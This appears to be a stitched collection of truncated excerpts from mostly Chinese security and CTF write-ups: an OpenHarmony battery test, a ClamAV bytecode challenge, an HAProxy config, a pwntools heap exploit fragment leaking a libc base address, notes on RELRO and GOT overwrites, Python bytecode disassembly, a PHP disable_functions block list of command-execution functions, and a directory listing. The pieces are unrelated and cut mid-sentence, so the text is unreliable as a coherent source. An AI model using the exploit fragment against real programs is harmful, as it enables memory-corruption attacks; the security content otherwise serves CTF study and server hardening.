testNapi.register(262, () => { return batteryInfo.batteryTemperature; }); // 直接返回电池是否存在 testNapi.register(263, () => { return batteryInfo.isBatteryPresent; }); // 直接返回电池容量等级 testNapi.register(264, () => { return b...
number of global constants: 13 number of debug nodes: 0 bytecode APIs used: read, seek, setvirusname > clambc print_flag.cbc --input file.bin --debug 输出的字节码汇编 bytecode.txt。 三 阶段三:处理字节码汇编(bci...
global log stdout format raw local0 maxconn 2000 user root group root daemon defaults log global option httplog timeout client 30s timeout server 30s timeout connect 30s frontend http_front mode http bind :80 acl is_admin path_beg /admin http-request deny if is_admin default_backend gunicor...
globalr r.sendline('3') r.sendlineafter('delete Disk\n', str(index))returnmenu() menu() create_disk(256,0) create_disk(256,15) delete_disk(0) create_disk(256,0) data = read_disk(0) leak = u64(data.ljust(8,'\x00')) libc_base = leak -0x3c4b78log.info('leak: %#x'% ...
所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处,设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。 | | Stack | -fno-stack-protector /-fstack-protector/ -fstack-protector...
分析和学习这个pwn时,发现 1. 在逆向时不能太相信ida 的f5插件,当f5反编译出来的代码逻辑比较奇怪时,要去看汇编代码. 2. 同时要多调试,很多看似复杂的东西,调试过去就能够很容易的理解. 3. 这个漏洞的利用手法不错,通过覆盖got表形成了一种类似于 rop的调用链最终实现了漏洞利用. ...
(Oo) 64 LOAD_FAST2 (O0o) 66 LOAD_FAST3 (O0) 68 STORE_SUBSCR 70 JUMP_ABSOLUTE 38>> 72 POP_BLOCK 9 >> 74 LOAD_GLOBAL 3 (bytes) 76 LOAD_FAST2 (O0o) 78 CALL_FUNCTION1 80 STORE_FAST 5 (O) 10 82 LOAD_FAST5 (O) 84 LOAD_METHOD 4 (hex) 86 CALL_METHOD 0 88 RETURN_VALUE...
9 >> 74 LOAD_GLOBAL 3 (bytes) 76 LOAD_FAST2 (O0o) 78 CALL_FUNCTION1 80 STORE_FAST 5 (O) 10 82 LOAD_FAST5 (O) 84 LOAD_METHOD 4 (hex) 86 CALL_METHOD 0 88 RETURN_VALUE In [5]: exit() 1. 2. 3. 4. 5. 6. 7.
DiscuzX2:\config\config_global.php WordPress:\wp-config.php Metinfo:\include\head.php 修改php.ini文件后重启(高权限): 禁用敏感函数: disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close,proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,high...
drwx--- 1 root root 4096 Jan 27 07:44 root drwxr-xr-x 1 root root 4096 Jan 27 07:28 run drwxr-xr-x 2 root root 4096 Jan 5 19:29 sbin drwxr-xr-x 2 root root 4096 Jan 5 19:27 srv dr-xr-xr-x 13 root root 0 Jan 27 07:28 sys drwxrwxrwt 1 root root 4096 Jan 27 07:...